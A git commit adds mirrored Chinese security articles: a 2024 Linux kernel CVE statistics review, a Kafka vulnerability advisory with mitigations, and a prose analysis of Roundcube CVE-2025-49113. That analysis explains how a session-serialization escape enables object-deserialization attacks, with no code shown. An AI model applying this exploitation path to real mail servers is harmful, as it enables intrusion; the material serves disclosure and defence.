mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818)、【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113)、CLFS cve-2022-37969、漏洞管理玩法已变，四大常见错误亟待摒弃、Fuzz挖掘sudo提权漏洞：一次堆溢出如何逆向分析出提权思路、【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818、【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞（CVE-2025-27817）、KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞、【复现】Kafka Connect任意文件读取漏洞（CVE-2025-27817）风险通告、Redis未授权漏洞复现汇总、【论文速读】| VADER：漏洞评估、检测、解释和修复的人工评估基准、漏洞挖掘实战之弯道超车、【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817、玩转网络漏洞挖掘，实战能力弯道超车、实战讲解 Java代码审计之 FreeMarker模版注入漏洞、CVE-2025-49113 漏洞分析与利用方式、Apache Kafka 多个高危漏洞安全风险通告、【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告、2024年度Linux内核漏洞类型及趋势分析、
This commit is contained in:
test committed
1 parent
d3606d8234
commit
173043e01c
20 files changed
+3771
-1
No files matched your search
@@ -14994,5 +14994,24 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616371&idx=1&sn=e12ff003aad2f2d456a8d64b1af1d093": "最新分析 | Mirai 利用 CVE-2024-3721 攻击 TBK DVR 设备",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651463155&idx=1&sn=b6e6f751cf3e3300734697d8d00109b5": "信息安全漏洞月报（2025年5月）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247499968&idx=1&sn=c0a4acf073d44a93066277415a1b8beb": "CNVD漏洞周报2025年第21期",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526479&idx=1&sn=4cca7247d9bb128024ac51c166779b4a": "SRC 漏洞挖掘中的绕过 WAF 技巧"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526479&idx=1&sn=4cca7247d9bb128024ac51c166779b4a": "SRC 漏洞挖掘中的绕过 WAF 技巧",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501170&idx=2&sn=e7ea349dff54c8123a16fa49b1158f9b": "【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503414&idx=1&sn=ac899c057f0552dd0ecad669c0863b2a": "【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNTA0NzgyMA==&mid=2247484267&idx=1&sn=9acb4f45d2ea2b3cf8a88262ef691961": "CLFS cve-2022-37969",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651137136&idx=1&sn=476cddcaef4be59b5b96cf166775ebf4": "漏洞管理玩法已变，四大常见错误亟待摒弃",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458595541&idx=1&sn=ca1223787e388345e955ac4b09a7ffad": "Fuzz挖掘sudo提权漏洞：一次堆溢出如何逆向分析出提权思路",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490219&idx=2&sn=0501ee9f75de1f6f609c9c7c75b2d66e": "【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MjE3ODkxNg==&mid=2247489303&idx=1&sn=8578d9e5018f2ca8164a6590e29414d1": "【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞（CVE-2025-27817）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247499492&idx=2&sn=151192a329acd78bab79ba17fb067d37": "KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMDQyMTIzMA==&mid=2247484871&idx=1&sn=93c960e76cecd00e2ac4a5d93e4e12b9": "【复现】Kafka Connect任意文件读取漏洞（CVE-2025-27817）风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNTYwMTk4Mw==&mid=2247489508&idx=1&sn=0bfab3f39b28fb33bba8abd281d49b07": "Redis未授权漏洞复现汇总",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247496573&idx=1&sn=f701e4ac102fbed8f25d4461e7b75f97": "【论文速读】| VADER：漏洞评估、检测、解释和修复的人工评估基准",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNTY3Nzc3Mg==&mid=2247489961&idx=1&sn=9ceb6db022621cae9f729d0aaecf12d6": "漏洞挖掘实战之弯道超车",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490219&idx=1&sn=acf6dce0f219c2ea5a110199ed4b8a7f": "【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555093&idx=1&sn=fd9d6588ba43744ec9add8e7e6f99d9f": "玩转网络漏洞挖掘，实战能力弯道超车",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487457&idx=1&sn=a167e6d3edc69691a44053b8b3e7a302": "实战讲解 Java代码审计之 FreeMarker模版注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487384&idx=1&sn=5ffca9c9cb920ef8ad92e9b37a2cb559": "CVE-2025-49113 漏洞分析与利用方式",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503473&idx=1&sn=46559985ab4d7f8502c1c9f1268ebaac": "Apache Kafka 多个高危漏洞安全风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NjU0OTQyMg==&mid=2247484429&idx=1&sn=cb4fd855f8a0f2ad59111e3ef81bcdfb": "【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247512431&idx=1&sn=4629ebc541371b4e846c5f90d68b8b42": "2024年度Linux内核漏洞类型及趋势分析"
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
# 2024年度Linux内核漏洞类型及趋势分析
|
||||
原创 unr4v31 山石网科安全技术研究院 2025-06-10 09:06
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
****
|
||||
**Linux内核漏洞频发，2024年竟高达3119个！**
|
||||
|
||||
****
|
||||
****
|
||||
|
||||
|
||||
|
||||
|
||||
Linux内核作为操作系统的核心，其安全性直接影响系统的稳定性与可靠性。通过对CVE数据的统计与分析，可以更好地理解内核漏洞的分布。
|
||||
|
||||
|
||||
本文统计了2024年Linux内核的CVE数据，共计3119个漏洞，数据来源于NVD。通过对这些漏洞的分析，我们将揭示内核中最易出现漏洞的子系统和常见的漏洞类型。
|
||||
|
||||
|
||||
|
||||
|
||||
**一、统计方式**
|
||||
|
||||
|
||||
为了对Linux内核的CVE进行有效统计和分析，需要对漏洞信息进行合理的分类。具体的统计和归类方法如下：
|
||||
|
||||
- CVE数据获取：
|
||||
通过从NVD下载2024年CVE的JSON文件，筛选出漏洞描述中包含“Linux kernel”字段的条目。这种方法可以确保捕捉到与Linux内核相关的漏洞，虽然可能遗漏少部分，但对整体分析的影响较小。
|
||||
|
||||
- CVSS评分：
|
||||
采用NVD提供的CVSS 3.1评分体系，评估每个漏洞的严重性。
|
||||
|
||||
- 子系统归类：
|
||||
根据CVE补丁中涉及的源码路径，将漏洞按内核子系统进行分类，如drivers、net、fs、arch、mm、kernel、block等。
|
||||
|
||||
- CWE分类：
|
||||
利用NVD中的CWE（Common Weakness Enumeration）信息对漏洞进行分类。若NVD未提供CWE类型，则统一归类为“other”。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**二、子系统漏洞数量分布**
|
||||
|
||||
****
|
||||
|
||||
除了常见的drivers、net、fs、arch、mm、kernel、block等核心子系统外，某些特殊子系统如bpf和bluetooth也在内核中频繁暴露出漏洞，因此被单独归类。对于那些单个子系统漏洞占比不足1%的，其漏洞将统一归类为“other”类型。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
从统计结果中可以看出，漏洞数量最多的前三个子系统分别是
|
||||
内核驱动（drivers）
|
||||
、
|
||||
网络子系统（net）
|
||||
和
|
||||
文件子系统（fs）
|
||||
，它们的漏洞占比分别为45%、16.7%和14.3%。其中，内核驱动代码的漏洞占比最高，反映出内核驱动在安全漏洞中的重要性。驱动代码涉及的模块众多，包括WiFi、DRM显卡驱动、Staging驱动、SCSI设备驱动等，这些模块中漏洞的存在常常对系统的安全性构成威胁。对于那些占比不足1%的子系统漏洞，它们都被归类为“driver”类型，以简化分析。
|
||||
|
||||
|
||||
|
||||
|
||||
**三、CWE类型漏洞占比分析**
|
||||
|
||||
****
|
||||
|
||||
针对CWE（Common Weakness Enumeration）类型的统计有助于揭示Linux内核中不同漏洞类型的分布情况。对于占比小于1%的CWE类型，我们统一归类为“other”类型，该类别通常包含一些较为罕见的漏洞类型。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
从统计图中可以看出，排除掉NVD中无法归类的NVD-cwe-noinfo类型后，内核漏洞中最常见的CWE类型分别为：
|
||||
|
||||
- CWE-476：
|
||||
空指针引用，通常发生在未初始化的指针被解引用时，可能导致系统崩溃或不可预测的行为。
|
||||
|
||||
- CWE-416：
|
||||
使用后释放，发生在内存释放后继续访问该内存位置，常见于内存管理不当的漏洞。
|
||||
|
||||
- CWE-667：
|
||||
不当锁定，发生在多线程或多进程环境下，资源的访问或修改未正确加锁，可能导致竞态条件或数据不一致的情况。
|
||||
|
||||
- CWE-401：
|
||||
内存泄漏，指程序未能释放不再使用的内存，可能导致系统资源耗尽。
|
||||
|
||||
- CWE-787：
|
||||
越界写，发生在数据超出预期的内存边界写入时，可能导致数据损坏或控制流劫持。
|
||||
|
||||
- CWE-908：
|
||||
使用未初始化的资源，指程序访问或使用未经过初始化的资源，这可能导致未定义行为或系统崩溃。
|
||||
|
||||
- CWE-125：
|
||||
越界读取，指程序读取的数据超出了预定缓冲区的范围，可能导致敏感数据泄露或应用崩溃。
|
||||
|
||||
- CWE-362：
|
||||
并发执行中的资源竞争（竞态条件），指在并发执行环境中，多个进程或线程对共享资源的访问缺乏适当同步，导致数据不一致或程序行为异常。
|
||||
|
||||
- CWE-12
|
||||
9
|
||||
：
|
||||
数组索引验证不当，指程序在计算或使用数组索引时，未对输入进行验证或验证不当，导致可能访问无效或越界的数组位置。
|
||||
|
||||
- CWE-415：
|
||||
双重释放，指程序对同一内存地址调用两次内存释放函数，可能导致内存损坏或系统崩溃。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**四、CVSS分数统计**
|
||||
|
||||
****
|
||||
CVSS（Common Vulnerability Scoring System，公共漏洞评分系统）评分可以帮助我们评估每个漏洞的严重性，并反映出它们对Linux内核安全的潜在影响。为了准确分析，我们排除了没有CVSS评分（即评分为0）的漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
从统计结果来看，CVSS评分中占比最多的是5.5分，这类漏洞通常由空指针引用（CWE-476）等错误引起，可能导致内核崩溃或引发本地拒绝服务（DoS）攻击。这类漏洞往往能通过访问无效或未初始化的内存位置，触发内核错误，影响系统的稳定性。
|
||||
|
||||
|
||||
紧随其后的是
|
||||
7.8分
|
||||
的漏洞，占比排行第二。这类漏洞可能与
|
||||
使用后释放（CWE-416）
|
||||
、
|
||||
越界写（CWE-787）
|
||||
等相关，具有较高的利用价值，攻击者可以通过这些漏洞进行远程代码执行、权限提升或系统崩溃等操作。
|
||||
|
||||
|
||||
结合CVSS评分与CWE类型的分析，可以看出，Linux内核中的大部分高危漏洞主要集中在内存管理和指针操作方面，特别是空指针引用、内存释放不当等类型，这些漏洞往往易于利用并能造成严重后果。
|
||||
|
||||
|
||||
|
||||
|
||||
**五、总结**
|
||||
|
||||
|
||||
根据CVE统计和CWE分析，Linux内核中最常见的漏洞类型主要集中在以下几种：
|
||||
|
||||
|
||||
1.
|
||||
空指针引用（CWE-476）
|
||||
：
|
||||
这一类型的漏洞最为常见，通常发生在未初始化或空指针被解引用时，容易导致内核崩溃或拒绝服务攻击（DoS）。
|
||||
|
||||
|
||||
2.
|
||||
使用后释放（CWE-416）
|
||||
：
|
||||
这类漏洞在内存管理中非常常见，发生在内存释放后仍然访问该内存位置，可能导致未定义行为或系统崩溃。
|
||||
|
||||
|
||||
3.
|
||||
越界写（CWE-787）和越界读取（CWE-125）
|
||||
：
|
||||
这些类型的漏洞往往源于对内存边界的错误处理，可能导致数据损坏、信息泄露或控制流劫持。
|
||||
|
||||
|
||||
通过对内核子系统的统计，以下子系统频繁出现漏洞：
|
||||
|
||||
|
||||
1.
|
||||
内核驱动（drivers）
|
||||
：
|
||||
这一子系统占据漏洞总数的最大比例（45%），包括WiFi驱动、显卡驱动、SCSI驱动等。这些驱动代码由于涉及硬件交互，容易暴露安全漏洞，成为攻击者的重点目标。
|
||||
|
||||
|
||||
2.
|
||||
网络子系统（net）
|
||||
：
|
||||
占
|
||||
比为16.7%，网络相关的漏洞常涉及数据传输的安全性，可能导致远程攻击或信息泄露。
|
||||
|
||||
|
||||
3.
|
||||
文件系统（fs）
|
||||
：
|
||||
占比14.3%，文件系统的漏洞通常与文件操作、权限管理相关，可能被利用进行本地权限提升或数据泄露。
|
||||
|
||||
|
||||
根据CVSS评分和CWE类型分析，最容易被利用的漏洞类型通常具有较高的CVSS评分，具体包括：
|
||||
|
||||
|
||||
1.
|
||||
7.8分漏洞（CWE-416、CWE-787）
|
||||
：
|
||||
这
|
||||
些漏洞常涉及内存管理错误，可以导致远程代码执行或系统崩溃，攻击者可以轻松利用这些漏洞执行恶意代码。
|
||||
|
||||
|
||||
2.
|
||||
5.5分漏洞（CWE-476）
|
||||
：
|
||||
空指针引用问题，虽不如7.8分漏洞严重，但足以造成系统崩溃或拒绝服务（DoS）攻击，常见于内核级别的错误操作。
|
||||
|
||||
|
||||
|
||||
|
||||
山石网科是中国网络安全行业的技术创新领导厂商，由一批知名网络安全技术骨干于2007年创立，并以首批网络安全企业的身份，于2019年9月登陆科创板（股票简称：山石网科，股票代码：688030）。
|
||||
|
||||
现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及
|
||||
基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
# Apache Kafka 多个高危漏洞安全风险通告
|
||||
奇安信 CERT 2025-06-10 06:20
|
||||
|
||||
●
|
||||
点击↑蓝字关注我们，获取更多安全风险通告
|
||||
|
||||
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td colspan="4" data-colwidth="136,157,166,107" valign="middle" align="center" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;background-color: rgb(70, 118, 217);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞概述</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-family: 微软雅黑, "Microsoft YaHei";visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,107" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">Apache Kafka 多个高危漏洞</span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: Line truncated
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞详情**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响组件**
|
||||
|
||||
Apache Kafka 是一款开源的分布式事件流平台，广泛用于高性能数据管道、流式分析和数据集成。它支持高吞吐量的消息传递，具备可扩展性、持久化存储和高可用性等特点，能够处理海量数据并支持多种编程语言的客户端库。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
近日，奇安信CERT监测到Kafka官方修复多个安全漏洞：
|
||||
Apache Kafka客户端任意文件读取漏洞(CVE-2025-27817)是由于在 SASL/OAUTHBEARER 和 SASL JAAS 配置中未对 URL 和登录模块进行严格限制，从而造成的客户端的敏感数据和内网信息泄露；
|
||||
Apache Kafka远程代码执行漏洞(CVE-2025-27818、CVE-2025-27819)则分别因允许使用 LdapLoginModule 和 JndiLoginModule ，可能触发 Java 反序列化漏洞，进而导致远程代码执行或拒绝服务攻击。**鉴于此漏洞影响范围较大，建议客户尽快做好自查及防护。**
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**影响范围**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
CVE-2025-27817：
|
||||
3.1.0 <= Apache Kafka <= 3.9.0
|
||||
|
||||
CVE-2025-27818：
|
||||
|
||||
2.3.0 <= Apache Kafka <= 3.9.0
|
||||
|
||||
CVE-2025-27819：
|
||||
|
||||
2.0.0 <= Apache Kafka <= 3.3.2
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**其他受影响组件**
|
||||
|
||||
无
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**处置建议**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**安全更新**
|
||||
|
||||
建议用户尽快升级到以下或更高的安全版本：
|
||||
|
||||
Apache Kafka 3.9.1
|
||||
|
||||
Apache Kafka 4.0.0
|
||||
|
||||
官方补丁下载链接：
|
||||
|
||||
https://kafka.apache.org/downloads
|
||||
|
||||
**修复缓解措施：**
|
||||
|
||||
|
||||
对于使用受影响版本的用户，建议通过系统属性
|
||||
|
||||
-Dorg.apache.kafka.disallowed.login.modules禁用LdapLoginModule，JndiLoginModule 和其他危险的登录模块。
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**参考资料**
|
||||
|
||||
[1]https://www.openwall.com/lists/oss-security/2025/06/09/
|
||||
|
||||
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**时间线**
|
||||
|
||||
2025年6月10日，奇安信 CERT发布安全风险通告。
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**漏洞情报服务**
|
||||
|
||||
|
||||
奇安信ALPH
|
||||
A
|
||||
威胁分析平台已支持漏洞情报订阅服务：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**奇安信 CERT**
|
||||
|
||||
**致力于**
|
||||
第一时间为企业级用户提供**权威**
|
||||
漏洞情报和**有效**
|
||||
解决方案。
|
||||
|
||||
|
||||
|
||||
点击↓**阅读原文**
|
||||
，到**ALPHA威胁分析平台**
|
||||
订阅更多漏洞信息。
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
# CLFS cve-2022-37969
|
||||
原创 12138 我吃你家米了 2025-06-10 12:04
|
||||
|
||||
阅读原文
|
||||
|
||||
@@ -0,0 +1,389 @@
|
||||
# CVE-2025-49113 漏洞分析与利用方式
|
||||
原创 4uuu Nya 奇安信天工实验室 2025-06-10 07:06
|
||||
|
||||
**目**
|
||||
|
||||
**录**
|
||||
|
||||
一、前 言
|
||||
|
||||
二、版本diff
|
||||
|
||||
三、复现环境
|
||||
|
||||
四、漏洞分析
|
||||
|
||||
五、总 结
|
||||
|
||||
|
||||
**一**
|
||||
|
||||
|
||||
**前 言**
|
||||
|
||||
2025年6月2日公开了一个RoundCube邮件系统中的一个RCE漏洞，信息如下：
|
||||
|
||||
|
||||
|
||||
影响版
|
||||
本<1.5.10 <1.6.11
|
||||
，
|
||||
虽
|
||||
然
|
||||
是一个认证后才可以触发的漏洞，但是评分却达到了9.9，接下来根据公开的漏洞信息对该漏洞进行分析与复现。
|
||||
|
||||
二
|
||||
|
||||
|
||||
**版本diff**
|
||||
|
||||
在本地下载1.6.10版本代码，diff 1.6.11版本发现主要是对
|
||||
type
|
||||
字段进行了过滤，
|
||||
type
|
||||
字段来源于
|
||||
_form
|
||||
和漏洞信息也能对应上：
|
||||
|
||||
|
||||
|
||||
|
||||
三
|
||||
|
||||
|
||||
**复现环境**
|
||||
|
||||
|
||||
由于RC官方提供了各个版本的docker镜像，所以只需要再简单配置一个dovecot和mysql用于正常登录即可，配置环境如下。
|
||||
|
||||
**01**
|
||||
|
||||
**docker-compose.yml**
|
||||
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**dovecot.conf**
|
||||
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**users**
|
||||
|
||||
|
||||
|
||||
|
||||
四
|
||||
|
||||
|
||||
**漏洞分析**
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞入口**
|
||||
|
||||
|
||||
根据漏洞公开信息可以知道漏洞入口点位于
|
||||
program/actions/settings/upload.php
|
||||
，整体流程比较简单：
|
||||
|
||||
|
||||
|
||||
在函数开始会对
|
||||
_from
|
||||
参数进行一些处理之后才赋值给
|
||||
type
|
||||
，这些处理并不会对参数进行任何安全的过滤，继续向下可以看到处理了一下上传文件，在文件被成功上传后会调用一次
|
||||
$this->session_append
|
||||
，并且这里带入了可控参数，后续没有了对这个字段的处理，所以可以推断出漏洞应该就出现在对session的反序列化上。
|
||||
|
||||
|
||||
跟入
|
||||
append
|
||||
函数，这是抽象类
|
||||
rcube_session
|
||||
中的函数：
|
||||
|
||||
|
||||
|
||||
这里的
|
||||
$this->get_node
|
||||
函数第一个参数将传入的
|
||||
$path
|
||||
使用
|
||||
.
|
||||
进行了分割，也就是说会把传入的
|
||||
$type.files
|
||||
分割成
|
||||
$type
|
||||
和
|
||||
files
|
||||
，跟入这个函数：
|
||||
|
||||
|
||||
|
||||
这里的第二个参数传入的是
|
||||
$_SESSION
|
||||
，也就是说如果当前session中不存在
|
||||
$type.files
|
||||
的键就会进行创建出来
|
||||
$_SESSION[$type]['files']
|
||||
这类的键（由于获取
|
||||
$type
|
||||
参数的时候将
|
||||
.
|
||||
转换成了
|
||||
-
|
||||
，导致无法无限制的向下创建任意键），之后再次向
|
||||
$type.files
|
||||
后添加了一层嵌套，key为上传文件处理后的
|
||||
attachment_id
|
||||
，内容为处理后的上传信息，大概内容信息如下：
|
||||
|
||||
|
||||
|
||||
此时因为
|
||||
|
||||
$type
|
||||
的原因，我们拥有了一次控制顶层key的能力，但此时还无法控制这个key的内容。
|
||||
|
||||
**02**
|
||||
|
||||
**session处理**
|
||||
|
||||
|
||||
rcube_session
|
||||
是roundcube自定义的一个对于session处理相关的类，在这里面hook了原生的几个方法：
|
||||
|
||||
|
||||
|
||||
主要看到其中的
|
||||
sess_write
|
||||
：
|
||||
|
||||
|
||||
|
||||
由于漏洞是认证后，所以一定存在旧数据，那么继续跟入到存在缓存的情况，跟入
|
||||
_fixvars
|
||||
：
|
||||
|
||||
|
||||
|
||||
这里在对旧数据进行处理后，合并了已存储的session数据与当前的session数据，此时调用了一个自定义的
|
||||
unserialize
|
||||
对当前的session进行了一次反序列化处理，跟入到这个函数的定义：
|
||||
|
||||
|
||||
|
||||
这里注意到对两个符号有特殊处理，一个是
|
||||
|
|
||||
一个是
|
||||
!
|
||||
，首先
|
||||
|
|
||||
的作用主要是用于分隔开key和value，当前session序列化后的值为
|
||||
key|value;key|value
|
||||
形式的键值对，而
|
||||
!
|
||||
则是将被这个符号标记的key值直接处理成
|
||||
s:len:"key";N;
|
||||
，但是这里存在一个问题，如果这个key本身就是一个数组或者对象，在对其添加
|
||||
N;
|
||||
之后仍然还有这个对象本身序列化后的值，而这些值将会被当做一个新的key直到遇到下一个
|
||||
|
|
||||
，从而造成逃逸的效果，以一个RC系统中部分session内容为例，其存储的序列化字符串如下：
|
||||
|
||||
|
||||
|
||||
被RC自定义的序列化处理后正常应该会是下面的结果：
|
||||
|
||||
|
||||
|
||||
但是如果将其中的一个key增加
|
||||
!
|
||||
标记，变成下面的情况：
|
||||
|
||||
|
||||
|
||||
再经过自定义的反序列化处理，结果将会和预期出现很大的出入：
|
||||
|
||||
|
||||
|
||||
可以发现，本身
|
||||
应该是
|
||||
language
|
||||
这个键的值
|
||||
5:"en_US"
|
||||
被当做了一个新的key的起始字符串，并且这个key长度为24，再将其继续进行原生反序列化函数进行处理后会得到下面的值：
|
||||
|
||||
|
||||
|
||||
而如果language这个key是我们可控的值，并且在其之后还存在可控的值，就可以通过这次逃逸，将后续可控但并不在顶层的key逃逸出来，实现位于顶层的key、value都完全可控，此时再寻找一个对
|
||||
$_SESSION['key']
|
||||
进行原生反序列化操作的地方，即可实现一次任意对象的反序列化攻击。
|
||||
|
||||
|
||||
在
|
||||
program/actions/settings/upload.php
|
||||
的上传中，我们可以控制
|
||||
$_SESSION[$type]
|
||||
这个顶层的key，并且后续内容中的文件名同样没有过滤导致数据可控，如下所示：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
通过修改
|
||||
_from
|
||||
参数，尝试对其进行逃逸操作，实现控制顶层key与value，如下所示：
|
||||
|
||||
|
||||
|
||||
|
||||
|
